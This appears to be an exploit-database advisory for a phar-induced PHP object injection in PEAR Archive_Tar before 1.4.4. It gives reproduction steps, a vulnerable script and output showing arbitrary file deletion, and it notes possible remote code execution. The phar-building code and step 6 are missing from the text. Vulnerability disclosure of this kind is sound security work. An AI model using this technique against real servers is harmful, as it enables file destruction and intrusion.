Exploits / Vulnerability Discovered : 2019-01-10 |
Type : webapps |
Platform : php
This exploit / vulnerability Pear archive_tar < 1.4.4 php object injection is for educational purposes only and if it is used you will do on your own risk!
In PEAR Archive_Tar before 1.4.4, there are several file operation with `$v_header['filename']` as parameter (such as file_exists, is_file, is_dir, etc). When extract() is called without a specific prefix path, we can trigger phar induced unserialization by crafting a tar file with `phar://[path_to_malicious_phar_file]` as path name. Object injection can be used to trigger destructor/wakeup method in the loaded PHP classes, e.g. the Archive_Tar class itself. With Archive_Tar itself, we can trigger arbitrary file deletion because `@unlink($this->_temp_tarname)` will be called in the destructor method. If another class with useful gadget is loaded, remote code execution may be possible.
Steps to reproduce object injection and arbitrary file deletion:
1. Make sure that PHP & PEAR are installed.
2. Download vulnerable PEAR Archive_Tar.
$ wget http://download.pear.php.net/package/Archive_Tar-1.4.3.tgz
$ tar xfz Archive_Tar-1.4.3.tgz
$ cd Archive_Tar-1.4.3
3. Create vulnerable code (vulnerable.php).
```
<?php
require 'Archive/Tar.php';
$exploit = new Archive_Tar('exploit.tar');
$exploit->extract();
```
4. Create dummy file /tmp/test.
$ touch /tmp/test
5. Genereate exploit.phar with the following PHP code and place the exploit.phar in the same directory with vulnerable.php.
7. Execute vulnerable.php to trigger object injection to delete /tmp/test.
$ ls -alt /tmp/test
-rw-rw-r-- 1 vagrant vagrant 0 Jan 9 16:41 /tmp/test
$ php vulnerable.php
$ ls -alt /tmp/test
ls: cannot access '/tmp/test': No such file or directory